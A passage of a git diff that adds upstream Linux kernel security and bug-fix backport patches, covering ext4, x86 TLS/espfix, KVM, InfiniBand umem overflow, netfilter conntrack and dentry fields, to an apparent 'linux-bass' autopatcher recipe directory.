+index 4635788e14bf8..ec9770f425381 100644 +--- a/fs/ext4/file.c ++++ b/fs/ext4/file.c +@@ -100,7 +100,7 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, + struct blk_plug plug; + int unaligned_aio = 0; + ssize_t ret; +- int overwrite = 0; ++ int *overwrite = iocb->private; + size_t length = iov_length(iov, nr_segs); + + if (ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS) && +@@ -118,8 +118,6 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, + mutex_lock(&inode->i_mutex); + blk_start_plug(&plug); + +- iocb->private = &overwrite; +- + /* check whether we do a DIO overwrite or not */ + if (ext4_should_dioread_nolock(inode) && !unaligned_aio && + !file->f_mapping->nrpages && pos + length <= i_size_read(inode)) { +@@ -143,7 +141,7 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, + * So we should check these two conditions. + */ + if (err == len && (map.m_flags & EXT4_MAP_MAPPED)) +- overwrite = 1; ++ *overwrite = 1; + } + + ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); +@@ -170,6 +168,7 @@ ext4_file_write(struct kiocb *iocb, const struct iovec *iov, + { + struct inode *inode = file_inode(iocb->ki_filp); + ssize_t ret; ++ int overwrite = 0; + + /* + * If we have encountered a bitmap-format file, the size limit +@@ -190,6 +189,7 @@ ext4_file_write(struct kiocb *iocb, const struct iovec *iov, + } + } + ++ iocb->private = &overwrite; + if (unlikely(iocb->ki_filp->f_flags & O_DIRECT)) + ret = ext4_file_dio_write(iocb, iov, nr_segs, pos); + else +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0100-359d2d755e19-x86tls Validate TLS entries to protect espfix.patch b/recipes-kernel/linux/linux-bass/autopatcher/0100-359d2d755e19-x86tls Validate TLS entries to protect espfix.patch new file mode 100644 index 0000000..fe3570a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0100-359d2d755e19-x86tls Validate TLS entries to protect espfix.patch @@ -0,0 +1,79 @@ +From 359d2d755e1924fc7231d8423696a7365eccd3e1 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Thu, 4 Dec 2014 16:48:16 -0800 +Subject: x86/tls: Validate TLS entries to protect espfix + +commit 41bdc78544b8a93a9c6814b8bbbfef966272abbe upstream. + +Installing a 16-bit RW data segment into the GDT defeats espfix. +AFAICT this will not affect glibc, Wine, or dosemu at all. + +Signed-off-by: Andy Lutomirski +Acked-by: H. Peter Anvin +Cc: Konrad Rzeszutek Wilk +Cc: Linus Torvalds +Cc: Willy Tarreau +Signed-off-by: Ingo Molnar +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/tls.c | 23 +++++++++++++++++++++++ + 1 file changed, 23 insertions(+) + +diff --git a/arch/x86/kernel/tls.c b/arch/x86/kernel/tls.c +index f7fec09e3e3a8..e7650bd71109a 100644 +--- a/arch/x86/kernel/tls.c ++++ b/arch/x86/kernel/tls.c +@@ -27,6 +27,21 @@ static int get_free_idx(void) + return -ESRCH; + } + ++static bool tls_desc_okay(const struct user_desc *info) ++{ ++ if (LDT_empty(info)) ++ return true; ++ ++ /* ++ * espfix is required for 16-bit data segments, but espfix ++ * only works for LDT segments. ++ */ ++ if (!info->seg_32bit) ++ return false; ++ ++ return true; ++} ++ + static void set_tls_desc(struct task_struct *p, int idx, + const struct user_desc *info, int n) + { +@@ -66,6 +81,9 @@ int do_set_thread_area(struct task_struct *p, int idx, + if (copy_from_user(&info, u_info, sizeof(info))) + return -EFAULT; + ++ if (!tls_desc_okay(&info)) ++ return -EINVAL; ++ + if (idx == -1) + idx = info.entry_number; + +@@ -192,6 +210,7 @@ int regset_tls_set(struct task_struct *target, const struct user_regset *regset, + { + struct user_desc infobuf[GDT_ENTRY_TLS_ENTRIES]; + const struct user_desc *info; ++ int i; + + if (pos >= GDT_ENTRY_TLS_ENTRIES * sizeof(struct user_desc) || + (pos % sizeof(struct user_desc)) != 0 || +@@ -205,6 +224,10 @@ int regset_tls_set(struct task_struct *target, const struct user_regset *regset, + else + info = infobuf; + ++ for (i = 0; i < count / sizeof(struct user_desc); i++) ++ if (!tls_desc_okay(info + i)) ++ return -EINVAL; ++ + set_tls_desc(target, + GDT_ENTRY_TLS_MIN + (pos / sizeof(struct user_desc)), + info, count / sizeof(struct user_desc)); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0101-9d2b6132e696-x86 kvm Clear paravirtenabled on KVM guests for espfix32s benefit.patch b/recipes-kernel/linux/linux-bass/autopatcher/0101-9d2b6132e696-x86 kvm Clear paravirtenabled on KVM guests for espfix32s benefit.patch new file mode 100644 index 0000000..6151ee9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0101-9d2b6132e696-x86 kvm Clear paravirtenabled on KVM guests for espfix32s benefit.patch @@ -0,0 +1,72 @@ +From 9d2b6132e6963ccdfb15a4570984382425b96529 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Fri, 5 Dec 2014 19:03:28 -0800 +Subject: x86, kvm: Clear paravirt_enabled on KVM guests for espfix32's benefit + +commit 29fa6825463c97e5157284db80107d1bfac5d77b upstream. + +paravirt_enabled has the following effects: + + - Disables the F00F bug workaround warning. There is no F00F bug + workaround any more because Linux's standard IDT handling already + works around the F00F bug, but the warning still exists. This + is only cosmetic, and, in any event, there is no such thing as + KVM on a CPU with the F00F bug. + + - Disables 32-bit APM BIOS detection. On a KVM paravirt system, + there should be no APM BIOS anyway. + + - Disables tboot. I think that the tboot code should check the + CPUID hypervisor bit directly if it matters. + + - paravirt_enabled disables espfix32. espfix32 should *not* be + disabled under KVM paravirt. + +The last point is the purpose of this patch. It fixes a leak of the +high 16 bits of the kernel stack address on 32-bit KVM paravirt +guests. Fixes CVE-2014-8134. + +Suggested-by: Konrad Rzeszutek Wilk +Signed-off-by: Andy Lutomirski +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/kvm.c | 9 ++++++++- + arch/x86/kernel/kvmclock.c | 1 - + 2 files changed, 8 insertions(+), 2 deletions(-) + +diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c +index cd6d9a5a42f60..c4ff2a9161399 100644 +--- a/arch/x86/kernel/kvm.c ++++ b/arch/x86/kernel/kvm.c +@@ -279,7 +279,14 @@ do_async_page_fault(struct pt_regs *regs, unsigned long error_code) + static void __init paravirt_ops_setup(void) + { + pv_info.name = "KVM"; +- pv_info.paravirt_enabled = 1; ++ ++ /* ++ * KVM isn't paravirt in the sense of paravirt_enabled. A KVM ++ * guest kernel works like a bare metal kernel with additional ++ * features, and paravirt_enabled is about features that are ++ * missing. ++ */ ++ pv_info.paravirt_enabled = 0; + + if (kvm_para_has_feature(KVM_FEATURE_NOP_IO_DELAY)) + pv_cpu_ops.io_delay = kvm_io_delay; +diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c +index 3dd37ebd591b3..41514f56c2413 100644 +--- a/arch/x86/kernel/kvmclock.c ++++ b/arch/x86/kernel/kvmclock.c +@@ -265,7 +265,6 @@ void __init kvmclock_init(void) + #endif + kvm_get_preset_lpj(); + clocksource_register_hz(&kvm_clock, NSEC_PER_SEC); +- pv_info.paravirt_enabled = 1; + pv_info.name = "KVM"; + + if (kvm_para_has_feature(KVM_FEATURE_CLOCKSOURCE_STABLE_BIT)) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0102-0cfcc3250e9e-IBuverbs Prevent integer overflow in ibumemget address arithmetic.patch b/recipes-kernel/linux/linux-bass/autopatcher/0102-0cfcc3250e9e-IBuverbs Prevent integer overflow in ibumemget address arithmetic.patch new file mode 100644 index 0000000..c91f401 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0102-0cfcc3250e9e-IBuverbs Prevent integer overflow in ibumemget address arithmetic.patch @@ -0,0 +1,49 @@ +From 0cfcc3250e9e571ef79627850430e1fda55f4cad Mon Sep 17 00:00:00 2001 +From: Shachar Raindel +Date: Wed, 18 Mar 2015 17:39:08 +0000 +Subject: IB/uverbs: Prevent integer overflow in ib_umem_get address arithmetic + +commit 8494057ab5e40df590ef6ef7d66324d3ae33356b upstream. + +Properly verify that the resulting page aligned end address is larger +than both the start address and the length of the memory area requested. + +Both the start and length arguments for ib_umem_get are controlled by +the user. A misbehaving user can provide values which will cause an +integer overflow when calculating the page aligned end address. + +This overflow can cause also miscalculation of the number of pages +mapped, and additional logic issues. + +Addresses: CVE-2014-8159 +Signed-off-by: Shachar Raindel +Signed-off-by: Jack Morgenstein +Signed-off-by: Or Gerlitz +Signed-off-by: Roland Dreier +Signed-off-by: Greg Kroah-Hartman +--- + drivers/infiniband/core/umem.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/drivers/infiniband/core/umem.c b/drivers/infiniband/core/umem.c +index a841123220710..055ebebc07ddb 100644 +--- a/drivers/infiniband/core/umem.c ++++ b/drivers/infiniband/core/umem.c +@@ -94,6 +94,14 @@ struct ib_umem *ib_umem_get(struct ib_ucontext *context, unsigned long addr, + if (dmasync) + dma_set_attr(DMA_ATTR_WRITE_BARRIER, &attrs); + ++ /* ++ * If the combination of the addr and size requested for this memory ++ * region causes an integer overflow, return error. ++ */ ++ if ((PAGE_ALIGN(addr + size) <= size) || ++ (PAGE_ALIGN(addr + size) <= addr)) ++ return ERR_PTR(-EINVAL); ++ + if (!can_do_mlock()) + return ERR_PTR(-EPERM); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0103-752b388c92ed-netfilter conntrack disable generic tracking for known protocols.patch b/recipes-kernel/linux/linux-bass/autopatcher/0103-752b388c92ed-netfilter conntrack disable generic tracking for known protocols.patch new file mode 100644 index 0000000..9e4433a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0103-752b388c92ed-netfilter conntrack disable generic tracking for known protocols.patch @@ -0,0 +1,96 @@ +From 752b388c92ed22e527ddb22fe137fa21095fb554 Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Fri, 26 Sep 2014 11:35:42 +0200 +Subject: netfilter: conntrack: disable generic tracking for known protocols + +commit db29a9508a9246e77087c5531e45b2c88ec6988b upstream. + +Given following iptables ruleset: + +-P FORWARD DROP +-A FORWARD -m sctp --dport 9 -j ACCEPT +-A FORWARD -p tcp --dport 80 -j ACCEPT +-A FORWARD -p tcp -m conntrack -m state ESTABLISHED,RELATED -j ACCEPT + +One would assume that this allows SCTP on port 9 and TCP on port 80. +Unfortunately, if the SCTP conntrack module is not loaded, this allows +*all* SCTP communication, to pass though, i.e. -p sctp -j ACCEPT, +which we think is a security issue. + +This is because on the first SCTP packet on port 9, we create a dummy +"generic l4" conntrack entry without any port information (since +conntrack doesn't know how to extract this information). + +All subsequent packets that are unknown will then be in established +state since they will fallback to proto_generic and will match the +'generic' entry. + +Our originally proposed version [1] completely disabled generic protocol +tracking, but Jozsef suggests to not track protocols for which a more +suitable helper is available, hence we now mitigate the issue for in +tree known ct protocol helpers only, so that at least NAT and direction +information will still be preserved for others. + + [1] http://www.spinics.net/lists/netfilter-devel/msg33430.html + +Joint work with Daniel Borkmann. + +Fixes CVE-2014-8160. + +Signed-off-by: Florian Westphal +Signed-off-by: Daniel Borkmann +Acked-by: Jozsef Kadlecsik +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Zhiqiang Zhang +Signed-off-by: Greg Kroah-Hartman +--- + net/netfilter/nf_conntrack_proto_generic.c | 26 +++++++++++++++++++++++++- + 1 file changed, 25 insertions(+), 1 deletion(-) + +diff --git a/net/netfilter/nf_conntrack_proto_generic.c b/net/netfilter/nf_conntrack_proto_generic.c +index d25f293776482..957c1db666525 100644 +--- a/net/netfilter/nf_conntrack_proto_generic.c ++++ b/net/netfilter/nf_conntrack_proto_generic.c +@@ -14,6 +14,30 @@ + + static unsigned int nf_ct_generic_timeout __read_mostly = 600*HZ; + ++static bool nf_generic_should_process(u8 proto) ++{ ++ switch (proto) { ++#ifdef CONFIG_NF_CT_PROTO_SCTP_MODULE ++ case IPPROTO_SCTP: ++ return false; ++#endif ++#ifdef CONFIG_NF_CT_PROTO_DCCP_MODULE ++ case IPPROTO_DCCP: ++ return false; ++#endif ++#ifdef CONFIG_NF_CT_PROTO_GRE_MODULE ++ case IPPROTO_GRE: ++ return false; ++#endif ++#ifdef CONFIG_NF_CT_PROTO_UDPLITE_MODULE ++ case IPPROTO_UDPLITE: ++ return false; ++#endif ++ default: ++ return true; ++ } ++} ++ + static inline struct nf_generic_net *generic_pernet(struct net *net) + { + return &net->ct.nf_ct_proto.generic; +@@ -67,7 +91,7 @@ static int generic_packet(struct nf_conn *ct, + static bool generic_new(struct nf_conn *ct, const struct sk_buff *skb, + unsigned int dataoff, unsigned int *timeouts) + { +- return true; ++ return nf_generic_should_process(nf_ct_protonum(ct)); + } + + #if IS_ENABLED(CONFIG_NF_CT_NETLINK_TIMEOUT) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0104-ee53664bda16-PATCH mm Fix NULL pointer dereference in madviseMADVWILLNEED.patch b/recipes-kernel/linux/linux-bass/autopatcher/0104-ee53664bda16-PATCH mm Fix NULL pointer dereference in madviseMADVWILLNEED.patch new file mode 100644 index 0000000..07aa158 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0104-ee53664bda16-PATCH mm Fix NULL pointer dereference in madviseMADVWILLNEED.patch @@ -0,0 +1,51 @@ +From ee53664bda169f519ce3c6a22d378f0b946c8178 Mon Sep 17 00:00:00 2001 +From: "Kirill A. Shutemov" +Date: Fri, 20 Dec 2013 15:10:03 +0200 +Subject: [PATCH] mm: Fix NULL pointer dereference in madvise(MADV_WILLNEED) + support + +Sasha Levin found a NULL pointer dereference that is due to a missing +page table lock, which in turn is due to the pmd entry in question being +a transparent huge-table entry. + +The code - introduced in commit 1998cc048901 ("mm: make +madvise(MADV_WILLNEED) support swap file prefetch") - correctly checks +for this situation using pmd_none_or_trans_huge_or_clear_bad(), but it +turns out that that function doesn't work correctly. + +pmd_none_or_trans_huge_or_clear_bad() expected that pmd_bad() would +trigger if the transparent hugepage bit was set, but it doesn't do that +if pmd_numa() is also set. Note that the NUMA bit only gets set on real +NUMA machines, so people trying to reproduce this on most normal +development systems would never actually trigger this. + +Fix it by removing the very subtle (and subtly incorrect) expectation, +and instead just checking pmd_trans_huge() explicitly. + +Reported-by: Sasha Levin +Acked-by: Andrea Arcangeli +[ Additionally remove the now stale test for pmd_trans_huge() inside the + pmd_bad() case - Linus ] +Signed-off-by: Linus Torvalds +--- + include/asm-generic/pgtable.h | 5 ++--- + 1 file changed, 2 insertions(+), 3 deletions(-) + +diff --git a/include/asm-generic/pgtable.h b/include/asm-generic/pgtable.h +index b12079afbd5f2..db09234589409 100644 +--- a/include/asm-generic/pgtable.h ++++ b/include/asm-generic/pgtable.h +@@ -599,11 +599,10 @@ static inline int pmd_none_or_trans_huge_or_clear_bad(pmd_t *pmd) + #ifdef CONFIG_TRANSPARENT_HUGEPAGE + barrier(); + #endif +- if (pmd_none(pmdval)) ++ if (pmd_none(pmdval) || pmd_trans_huge(pmdval)) + return 1; + if (unlikely(pmd_bad(pmdval))) { +- if (!pmd_trans_huge(pmdval)) +- pmd_clear_bad(pmd); ++ pmd_clear_bad(pmd); + return 1; + } + return 0; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0105-3ea61129fec6-kvm fix excessive pages unpinning in kvmiommumap error path.patch b/recipes-kernel/linux/linux-bass/autopatcher/0105-3ea61129fec6-kvm fix excessive pages unpinning in kvmiommumap error path.patch new file mode 100644 index 0000000..8a31414 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0105-3ea61129fec6-kvm fix excessive pages unpinning in kvmiommumap error path.patch @@ -0,0 +1,80 @@ +From 3ea61129fec62fbb7fba38e60d00e4f9d776cfa5 Mon Sep 17 00:00:00 2001 +From: Quentin Casasnovas +Date: Fri, 17 Oct 2014 22:55:59 +0200 +Subject: kvm: fix excessive pages un-pinning in kvm_iommu_map error path. + +commit 3d32e4dbe71374a6780eaf51d719d76f9a9bf22f upstream. + +The third parameter of kvm_unpin_pages() when called from +kvm_iommu_map_pages() is wrong, it should be the number of pages to un-pin +and not the page size. + +This error was facilitated with an inconsistent API: kvm_pin_pages() takes +a size, but kvn_unpin_pages() takes a number of pages, so fix the problem +by matching the two. + +This was introduced by commit 350b8bd ("kvm: iommu: fix the third parameter +of kvm_iommu_put_pages (CVE-2014-3601)"), which fixes the lack of +un-pinning for pages intended to be un-pinned (i.e. memory leak) but +unfortunately potentially aggravated the number of pages we un-pin that +should have stayed pinned. As far as I understand though, the same +practical mitigations apply. + +This issue was found during review of Red Hat 6.6 patches to prepare +Ksplice rebootless updates. + +Thanks to Vegard for his time on a late Friday evening to help me in +understanding this code. + +Fixes: 350b8bd ("kvm: iommu: fix the third parameter of... (CVE-2014-3601)") +Signed-off-by: Quentin Casasnovas +Signed-off-by: Vegard Nossum +Signed-off-by: Jamie Iles +Reviewed-by: Sasha Levin +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + virt/kvm/iommu.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/virt/kvm/iommu.c b/virt/kvm/iommu.c +index dec997188dfb9..a650aa48c7869 100644 +--- a/virt/kvm/iommu.c ++++ b/virt/kvm/iommu.c +@@ -43,13 +43,13 @@ static void kvm_iommu_put_pages(struct kvm *kvm, + gfn_t base_gfn, unsigned long npages); + + static pfn_t kvm_pin_pages(struct kvm_memory_slot *slot, gfn_t gfn, +- unsigned long size) ++ unsigned long npages) + { + gfn_t end_gfn; + pfn_t pfn; + + pfn = gfn_to_pfn_memslot(slot, gfn); +- end_gfn = gfn + (size >> PAGE_SHIFT); ++ end_gfn = gfn + npages; + gfn += 1; + + if (is_error_noslot_pfn(pfn)) +@@ -119,7 +119,7 @@ int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) + * Pin all pages we are about to map in memory. This is + * important because we unmap and unpin in 4kb steps later. + */ +- pfn = kvm_pin_pages(slot, gfn, page_size); ++ pfn = kvm_pin_pages(slot, gfn, page_size >> PAGE_SHIFT); + if (is_error_noslot_pfn(pfn)) { + gfn += 1; + continue; +@@ -131,7 +131,7 @@ int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) + if (r) { + printk(KERN_ERR "kvm_iommu_map_address:" + "iommu failed to map pfn=%llx\n", pfn); +- kvm_unpin_pages(kvm, pfn, page_size); ++ kvm_unpin_pages(kvm, pfn, page_size >> PAGE_SHIFT); + goto unmap_pages; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0106-13e457e0eebf-KVM x86 Emulator does not decode clflush well.patch b/recipes-kernel/linux/linux-bass/autopatcher/0106-13e457e0eebf-KVM x86 Emulator does not decode clflush well.patch new file mode 100644 index 0000000..390484e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0106-13e457e0eebf-KVM x86 Emulator does not decode clflush well.patch @@ -0,0 +1,78 @@ +From 13e457e0eebf0a0c82c38ceb890d93eb826d62a6 Mon Sep 17 00:00:00 2001 +From: Nadav Amit +Date: Mon, 13 Oct 2014 13:04:13 +0300 +Subject: KVM: x86: Emulator does not decode clflush well + +Currently, all group15 instructions are decoded as clflush (e.g., mfence, +xsave). In addition, the clflush instruction requires no prefix (66/f2/f3) +would exist. If prefix exists it may encode a different instruction (e.g., +clflushopt). + +Creating a group for clflush, and different group for each prefix. + +This has been the case forever, but the next patch needs the cflush group +in order to fix a bug introduced in 3.17. + +Fixes: 41061cdb98a0bec464278b4db8e894a3121671f5 +Cc: stable@vger.kernel.org +Signed-off-by: Nadav Amit +Signed-off-by: Paolo Bonzini +--- + arch/x86/kvm/emulate.c | 20 +++++++++++++++++--- + 1 file changed, 17 insertions(+), 3 deletions(-) + +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index eb3b1c46f995d..97da5034d8126 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -3462,6 +3462,12 @@ static int em_bswap(struct x86_emulate_ctxt *ctxt) + return X86EMUL_CONTINUE; + } + ++static int em_clflush(struct x86_emulate_ctxt *ctxt) ++{ ++ /* emulating clflush regardless of cpuid */ ++ return X86EMUL_CONTINUE; ++} ++ + static bool valid_cr(int nr) + { + switch (nr) { +@@ -3800,6 +3806,16 @@ static const struct opcode group11[] = { + X7(D(Undefined)), + }; + ++static const struct gprefix pfx_0f_ae_7 = { ++ I(0, em_clflush), N, N, N, ++}; ++ ++static const struct group_dual group15 = { { ++ N, N, N, N, N, N, N, GP(0, &pfx_0f_ae_7), ++}, { ++ N, N, N, N, N, N, N, N, ++} }; ++ + static const struct gprefix pfx_0f_6f_0f_7f = { + I(Mmx, em_mov), I(Sse | Aligned, em_mov), N, I(Sse | Unaligned, em_mov), + }; +@@ -4063,7 +4079,7 @@ static const struct opcode twobyte_table[256] = { + F(DstMem | SrcReg | ModRM | BitOp | Lock | PageTable, em_bts), + F(DstMem | SrcReg | Src2ImmByte | ModRM, em_shrd), + F(DstMem | SrcReg | Src2CL | ModRM, em_shrd), +- D(ModRM), F(DstReg | SrcMem | ModRM, em_imul), ++ GD(0, &group15), F(DstReg | SrcMem | ModRM, em_imul), + /* 0xB0 - 0xB7 */ + I2bv(DstMem | SrcReg | ModRM | Lock | PageTable, em_cmpxchg), + I(DstReg | SrcMemFAddr | ModRM | Src2SS, em_lseg), +@@ -4993,8 +5009,6 @@ twobyte_insn: + case 0x90 ... 0x9f: /* setcc r/m8 */ + ctxt->dst.val = test_cc(ctxt->b, ctxt->eflags); + break; +- case 0xae: /* clflush */ +- break; + case 0xb6 ... 0xb7: /* movzx */ + ctxt->dst.bytes = ctxt->op_bytes; + ctxt->dst.val = (ctxt->src.bytes == 1) ? (u8) ctxt->src.val +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0107-6637ecd306a9-move drcu from overlapping dchild to overlapping dalias.patch b/recipes-kernel/linux/linux-bass/autopatcher/0107-6637ecd306a9-move drcu from overlapping dchild to overlapping dalias.patch new file mode 100644 index 0000000..1f7fc46 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0107-6637ecd306a9-move drcu from overlapping dchild to overlapping dalias.patch @@ -0,0 +1,795 @@ +From 6637ecd306a94a03dd5b8e4e8d3f260d9877c5b0 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Sun, 26 Oct 2014 19:19:16 -0400 +Subject: move d_rcu from overlapping d_child to overlapping d_alias + +commit 946e51f2bf37f1656916eb75bd0742ba33983c28 upstream. + +Signed-off-by: Al Viro +Cc: Ben Hutchings +[hujianyang: Backported to 3.10 refer to the work of Ben Hutchings in 3.2: + - Apply name changes in all the different places we use d_alias and d_child + - Move the WARN_ON() in __d_free() to d_free() as we don't have dentry_free()] +Signed-off-by: hujianyang +Signed-off-by: Greg Kroah-Hartman +--- + arch/powerpc/platforms/cell/spufs/inode.c | 2 +- + fs/affs/amigaffs.c | 2 +- + fs/autofs4/expire.c | 12 +++--- + fs/autofs4/root.c | 2 +- + fs/ceph/dir.c | 8 ++-- + fs/ceph/inode.c | 6 +-- + fs/cifs/inode.c | 2 +- + fs/coda/cache.c | 2 +- + fs/dcache.c | 72 +++++++++++++++---------------- + fs/debugfs/inode.c | 6 +-- + fs/exportfs/expfs.c | 2 +- + fs/libfs.c | 12 +++--- + fs/ncpfs/dir.c | 2 +- + fs/ncpfs/ncplib_kernel.h | 4 +- + fs/nfs/getroot.c | 2 +- + fs/notify/fsnotify.c | 4 +- + fs/ocfs2/dcache.c | 2 +- + include/linux/dcache.h | 8 ++-- + kernel/cgroup.c | 2 +- + kernel/trace/trace.c | 4 +- + kernel/trace/trace_events.c | 2 +- + security/selinux/selinuxfs.c | 6 +-- + 22 files changed, 82 insertions(+), 82 deletions(-) + +diff --git a/arch/powerpc/platforms/cell/spufs/inode.c b/arch/powerpc/platforms/cell/spufs/inode.c +index 35f77a42bedf7..c5c5788e8a13e 100644 +--- a/arch/powerpc/platforms/cell/spufs/inode.c ++++ b/arch/powerpc/platforms/cell/spufs/inode.c +@@ -164,7 +164,7 @@ static void spufs_prune_dir(struct dentry *dir) + struct dentry *dentry, *tmp; + + mutex_lock(&dir->d_inode->i_mutex); +- list_for_each_entry_safe(dentry, tmp, &dir->d_subdirs, d_u.d_child) { ++ list_for_each_entry_safe(dentry, tmp, &dir->d_subdirs, d_child) { + spin_lock(&dentry->d_lock); + if (!(d_unhashed(dentry)) && dentry->d_inode) { + dget_dlock(dentry); +diff --git a/fs/affs/amigaffs.c b/fs/affs/amigaffs.c +index d9a43674cb947..9cca0ea4e4790 100644 +--- a/fs/affs/amigaffs.c ++++ b/fs/affs/amigaffs.c +@@ -126,7 +126,7 @@ affs_fix_dcache(struct inode *inode, u32 entry_ino) + { + struct dentry *dentry; + spin_lock(&inode->i_lock); +- hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { ++ hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { + if (entry_ino == (u32)(long)dentry->d_fsdata) { + dentry->d_fsdata = (void *)inode->i_ino; + break; +diff --git a/fs/autofs4/expire.c b/fs/autofs4/expire.c +index 13ddec92341cd..8ad277990eacc 100644 +--- a/fs/autofs4/expire.c ++++ b/fs/autofs4/expire.c +@@ -91,7 +91,7 @@ static struct dentry *get_next_positive_subdir(struct dentry *prev, + spin_lock(&root->d_lock); + + if (prev) +- next = prev->d_u.d_child.next; ++ next = prev->d_child.next; + else { + prev = dget_dlock(root); + next = prev->d_subdirs.next; +@@ -105,13 +105,13 @@ cont: + return NULL; + } + +- q = list_entry(next, struct dentry, d_u.d_child); ++ q = list_entry(next, struct dentry, d_child); + + spin_lock_nested(&q->d_lock, DENTRY_D_LOCK_NESTED); + /* Already gone or negative dentry (under construction) - try next */ + if (q->d_count == 0 || !simple_positive(q)) { + spin_unlock(&q->d_lock); +- next = q->d_u.d_child.next; ++ next = q->d_child.next; + goto cont; + } + dget_dlock(q); +@@ -161,13 +161,13 @@ again: + goto relock; + } + spin_unlock(&p->d_lock); +- next = p->d_u.d_child.next; ++ next = p->d_child.next; + p = parent; + if (next != &parent->d_subdirs) + break; + } + } +- ret = list_entry(next, struct dentry, d_u.d_child); ++ ret = list_entry(next, struct dentry, d_child); + + spin_lock_nested(&ret->d_lock, DENTRY_D_LOCK_NESTED); + /* Negative dentry - try next */ +@@ -447,7 +447,7 @@ found: + spin_lock(&sbi->lookup_lock); + spin_lock(&expired->d_parent->d_lock); + spin_lock_nested(&expired->d_lock, DENTRY_D_LOCK_NESTED); +- list_move(&expired->d_parent->d_subdirs, &expired->d_u.d_child); ++ list_move(&expired->d_parent->d_subdirs, &expired->d_child); + spin_unlock(&expired->d_lock); + spin_unlock(&expired->d_parent->d_lock); + spin_unlock(&sbi->lookup_lock); +diff --git a/fs/autofs4/root.c b/fs/autofs4/root.c +index 085da86e07c22..79ab4cb3590a4 100644 +--- a/fs/autofs4/root.c ++++ b/fs/autofs4/root.c +@@ -655,7 +655,7 @@ static void autofs_clear_leaf_automount_flags(struct dentry *dentry) + /* only consider parents below dentrys in the root */ + if (IS_ROOT(parent->d_parent)) + return; +- d_child = &dentry->d_u.d_child; ++ d_child = &dentry->d_child; + /* Set parent managed if it's becoming empty */ + if (d_child->next == &parent->d_subdirs && + d_child->prev == &parent->d_subdirs) +diff --git a/fs/ceph/dir.c b/fs/ceph/dir.c +index f02d82b7933e4..ccb43298e272d 100644 +--- a/fs/ceph/dir.c ++++ b/fs/ceph/dir.c +@@ -103,7 +103,7 @@ static unsigned fpos_off(loff_t p) + /* + * When possible, we try to satisfy a readdir by peeking at the + * dcache. We make this work by carefully ordering dentries on +- * d_u.d_child when we initially get results back from the MDS, and ++ * d_child when we initially get results back from the MDS, and + * falling back to a "normal" sync readdir if any dentries in the dir + * are dropped. + * +@@ -139,11 +139,11 @@ static int __dcache_readdir(struct file *filp, + p = parent->d_subdirs.prev; + dout(" initial p %p/%p\n", p->prev, p->next); + } else { +- p = last->d_u.d_child.prev; ++ p = last->d_child.prev; + } + + more: +- dentry = list_entry(p, struct dentry, d_u.d_child); ++ dentry = list_entry(p, struct dentry, d_child); + di = ceph_dentry(dentry); + while (1) { + dout(" p %p/%p %s d_subdirs %p/%p\n", p->prev, p->next, +@@ -165,7 +165,7 @@ more: + !dentry->d_inode ? " null" : ""); + spin_unlock(&dentry->d_lock); + p = p->prev; +- dentry = list_entry(p, struct dentry, d_u.d_child); ++ dentry = list_entry(p, struct dentry, d_child); + di = ceph_dentry(dentry); + } + +diff --git a/fs/ceph/inode.c b/fs/ceph/inode.c +index be0f7e20d62ed..0cf23a7b88c2e 100644 +--- a/fs/ceph/inode.c ++++ b/fs/ceph/inode.c +@@ -867,9 +867,9 @@ static void ceph_set_dentry_offset(struct dentry *dn) + + spin_lock(&dir->d_lock); + spin_lock_nested(&dn->d_lock, DENTRY_D_LOCK_NESTED); +- list_move(&dn->d_u.d_child, &dir->d_subdirs); ++ list_move(&dn->d_child, &dir->d_subdirs); + dout("set_dentry_offset %p %lld (%p %p)\n", dn, di->offset, +- dn->d_u.d_child.prev, dn->d_u.d_child.next); ++ dn->d_child.prev, dn->d_child.next); + spin_unlock(&dn->d_lock); + spin_unlock(&dir->d_lock); + } 